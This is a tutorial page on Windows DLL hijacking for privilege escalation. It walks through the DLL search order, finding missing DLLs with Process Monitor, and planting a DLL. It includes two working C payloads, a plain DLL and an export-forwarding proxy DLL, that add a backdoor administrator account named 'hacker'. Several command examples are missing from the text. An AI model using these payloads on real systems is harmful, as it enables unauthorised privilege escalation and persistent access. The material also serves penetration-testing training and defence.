Windows DLL Hijacking for Privilege Escalation
Windows applications load DLLs by searching several directories in order. If a DLL is missing or a directory searched before the system directory is writable, planting a malicious DLL there causes the application to load and execute your code. When the target application runs as SYSTEM or an elevated account, you get privileged code execution.
DLL Search Order
For applications without a manifest or SetDllDirectory call, Windows searches in this order:
The directory of the executable itself
C:\Windows\System32C:\Windows\SystemC:\WindowsCurrent working directory
Directories in the
PATHenvironment variable
The most common exploitation path: a SYSTEM service is missing a DLL, and its executable directory or a directory in PATH is writable.
Prerequisites Check
Check if any directories in PATH are writable:
Step 1 — Find Missing DLLs with Process Monitor
Process Monitor (Procmon) from Sysinternals is the most reliable way to find DLL hijacking opportunities. Run it on the target while the vulnerable application or service starts:
Set filters:
OperationisCreateFilePathends with.dllResultisNAME NOT FOUND
This shows every DLL the application tried to load but could not find. For each NAME NOT FOUND entry, check if you can write to any of the directories it searched.
Step 2 — Find Missing DLLs Manually
Without Procmon, use PowerSploit's Find-PathDLLHijack:
Or check service executables manually:
Step 3 — Confirm Write Access
Once you identify a missing DLL and the search path, confirm write access:
Step 4 — Create the Malicious DLL
The DLL must export the functions the application expects. For a missing DLL where the application does not check return values, a minimal DLL with a DllMain constructor is enough:
// malicious.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("net user hacker Password123! /add");
system("net localgroup administrators hacker /add");
}
return TRUE;
}
Compile on your attack box (cross-compile for Windows):
Step 5 — Place the DLL
Copy the DLL to the writable directory with the exact filename the application expects:
Step 6 — Trigger DLL Load
Restart the vulnerable service or application:
Or wait for the next scheduled execution. Start your listener first if using a reverse shell:
Proxy DLL — Forwarding Exports
If the application checks that the DLL exports specific functions, a minimal DLL will crash it. Create a proxy DLL that forwards all exports to the real DLL while also executing your payload:
// proxy.c — forwards all exports to the original DLL
#include <windows.h>
// Forward all exports
#pragma comment(linker, "/export:ExportedFunction=C:\\Windows\\System32\\original.dll.ExportedFunction")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("net user hacker Password123! /add");
system("net localgroup administrators hacker /add");
}
return TRUE;
}
Tools like SharpDllProxy automate proxy DLL generation:
Common High-Value DLL Hijacking Targets
Third-party software in C:\Program Files frequently loads DLLs from the same directory or from PATH. Look for:
Custom services in non-standard installation directories
Applications that run elevated and load DLLs from user-writable locations
Services with
%TEMP%or%APPDATA%in their working directory
References
-
DLL Search Orderdocs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order (opens in new tab)
Microsoft Docs Full search order documentation including SafeDllSearchMode.
-
Sysinternals DLL load monitoring with NAME NOT FOUND filtering.
-
SharpDllProxygithub.com/Flangvik/SharpDllProxy (opens in new tab)
Flangvik Automated proxy DLL generation for export forwarding.
Was this helpful?
Your feedback helps improve this page.